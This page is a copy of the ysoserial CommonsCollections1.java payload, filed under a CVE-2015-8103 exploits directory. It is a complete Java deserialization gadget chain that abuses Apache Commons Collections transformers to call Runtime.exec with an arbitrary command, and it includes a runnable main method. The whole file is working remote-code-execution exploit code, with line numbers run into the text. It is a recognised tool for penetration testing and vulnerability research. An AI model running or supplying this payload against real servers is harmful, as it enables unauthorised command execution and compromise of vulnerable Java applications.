Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-8103/payloads/CommonsCollections1.java
Views: 11784
package ysoserial.payloads;12import java.lang.reflect.InvocationHandler;3import java.util.HashMap;4import java.util.Map;56import org.apache.commons.collections.Transformer;7import org.apache.commons.collections.functors.ChainedTransformer;8import org.apache.commons.collections.functors.ConstantTransformer;9import org.apache.commons.collections.functors.InvokerTransformer;10import org.apache.commons.collections.map.LazyMap;1112import ysoserial.payloads.annotation.Dependencies;13import ysoserial.payloads.util.Gadgets;14import ysoserial.payloads.util.PayloadRunner;15import ysoserial.payloads.util.Reflections;1617/*18Gadget chain:19ObjectInputStream.readObject()20AnnotationInvocationHandler.readObject()21Map(Proxy).entrySet()22AnnotationInvocationHandler.invoke()23LazyMap.get()24ChainedTransformer.transform()25ConstantTransformer.transform()26InvokerTransformer.transform()27Method.invoke()28Class.getMethod()29InvokerTransformer.transform()30Method.invoke()31Runtime.getRuntime()32InvokerTransformer.transform()33Method.invoke()34Runtime.exec()3536Requires:37commons-collections38*/39@SuppressWarnings({"rawtypes", "unchecked"})40@Dependencies({"commons-collections:commons-collections:3.1"})41public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {4243public InvocationHandler getObject(final String command) throws Exception {44final String[] execArgs = new String[] { command };45// inert chain for setup46final Transformer transformerChain = new ChainedTransformer(47new Transformer[]{ new ConstantTransformer(1) });48// real chain for after setup49final Transformer[] transformers = new Transformer[] {50new ConstantTransformer(Runtime.class),51new InvokerTransformer("getMethod", new Class[] {52String.class, Class[].class }, new Object[] {53"getRuntime", new Class[0] }),54new InvokerTransformer("invoke", new Class[] {55Object.class, Object[].class }, new Object[] {56null, new Object[0] }),57new InvokerTransformer("exec",58new Class[] { String.class }, execArgs),59new ConstantTransformer(1) };6061final Map innerMap = new HashMap();6263final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);6465final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);6667final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);6869Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain7071return handler;72}7374public static void main(final String[] args) throws Exception {75PayloadRunner.run(CommonsCollections1.class, args);76}77}787980